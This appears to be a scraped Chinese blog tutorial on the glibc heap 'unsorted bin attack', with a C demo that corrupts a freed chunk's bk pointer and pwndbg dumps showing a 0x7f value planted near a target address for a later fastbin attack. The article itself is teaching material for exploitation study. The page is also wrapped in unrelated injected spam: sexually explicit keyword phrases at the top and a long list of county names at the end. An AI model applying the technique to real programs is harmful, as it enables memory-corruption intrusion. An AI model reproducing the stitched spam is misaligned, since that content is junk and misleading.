五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

二進(jìn)制安全之堆溢出(系列)—— unsorted bin attack

2020-04-10 10:11 作者:匯智知了堂  | 我要投稿

本文是二進(jìn)制安全之堆溢出系列的第十章節(jié),主要介紹unsorted bin attack。

原理

  • 實(shí)現(xiàn)效果

? ? 只能在任意地址寫入一個大數(shù) 通常在一個地址寫入7f,然后配合fastbin attack使用,達(dá)到任意地址寫的效果

斷鏈操作

? /* remove from unsorted list */ bck = victim->bk unsorted_chunks (av)->bk = bck;? ?bck->fd = unsorted_chunks (av); //此時fd中存放的是main_arena的地址 unsortedbin attack之后不能在遍歷`unsorted bin鏈了,因?yàn)榇藭r的main_arena的bk已經(jīng)被我們改為target_addr,av->bk索引到的地址是一般是無法繞過check的。 因此需要提前malloc一個fastbin大小的堆塊,在unsortedbin attack之前free掉它,在unsortedbin attack之后再malloc fastbin大小的堆塊。 這時就能得到一個fd為main_arena地址的chunk

unsorted bin attack 流程

malloc fastbin 0x70 free fastbin 0x70 change 0x70.fd -> target.addr malloc 0x100 free 0x100 change 0x100.addr + 0x8 ---> target malloc 0x100 --->now *(target - 0x3 ) = 0x7f malloc 0x70 --->change fastbin main_arena->fd malloc 0x70 ---> get target chunk

Demo

? ? #include <stdio.h> #include <malloc.h> #include <unistd.h> #include <string.h> int main() {? ? int size = 0x100;? ? char *p = malloc(size);? ? printf("%p\n",p);? ? sleep(0);? ? free(p);? ? sleep(0);? ? *(long *)(p+8) = 0x601100;? ? sleep(0);? ? char *r = malloc(size);? ? printf("%p\n",r);? ? sleep(0);? ? return 0; } //此demo可以獲取一個7f的大數(shù),存在target chunk //可通過fastbin attack將此chunk取出并利用

調(diào)試

  • free p?之后的bins鏈和heap

?unsortedbin all: 0x602000 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602000 pwndbg> x/20gz 0x602000 0x602000:? ?0x0000000000000000? 0x0000000000000111 0x602010:? ?0x00007ffff7dd1b78? 0x00007ffff7dd1b78 -->fd和bk都指向main_arena pwndbg> x/20gz 0x00007ffff7dd1b78 0x7ffff7dd1b78 <main_arena+88>: 0x0000000000602520? 0x0000000000000000 -->top chunk addr 0x7ffff7dd1b88 <main_arena+104>:? ? 0x0000000000602000? 0x0000000000602000 -->p addr

修改bk后的bins鏈和heap

unsortedbin all [corrupted] FD: 0x602000 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602000 BK: 0x602000 —? 0x601100 ?— 0x0 pwndbg> x/20gz 0x602000 0x602000:? ?0x0000000000000000? 0x0000000000000111 0x602010:? ?0x00007ffff7dd1b78? 0x0000000000601100? -->bk的內(nèi)容被修改為target.addr

malloc r之后的binsheap

unsortedbin all [corrupted] FD: 0x602000 —? 0x7ffff7dd1b78 (main_arena+88) ?— 0x602000 BK: 0x601100 ?— 0x0 0x602000此時被malloc出去了,0x601100指向main_arena pwndbg> x/20gz 0x601100 0x601100:0x00000000000000000x0000000000000000 0x601110:0x00007ffff7dd1b780x0000000000000000 -->main_arena pwndbg> x/20gz 0x601100-0x3 0x6010fd:0x00000000000000000x0000000000000000 0x60110d:0xfff7dd1b780000000x000000000000007f ==>構(gòu)造出了7f


二進(jìn)制安全之堆溢出(系列)—— unsorted bin attack的評論 (共 條)

分享到微博請遵守國家法律
霍州市| 子长县| 泾阳县| 水城县| 晋州市| 邮箱| 阳新县| 都昌县| 海林市| 垫江县| 文昌市| 确山县| 濮阳县| 广州市| 喀什市| 龙门县| 北京市| 西吉县| 怀集县| 资兴市| 涟水县| 宁强县| 偏关县| 芦山县| 河东区| 兴化市| 东丰县| 理塘县| 施秉县| 昭苏县| 汉中市| 汕尾市| 浏阳市| 金山区| 兴山县| 会泽县| 荥经县| 五大连池市| 留坝县| 宁国市| 扶余县|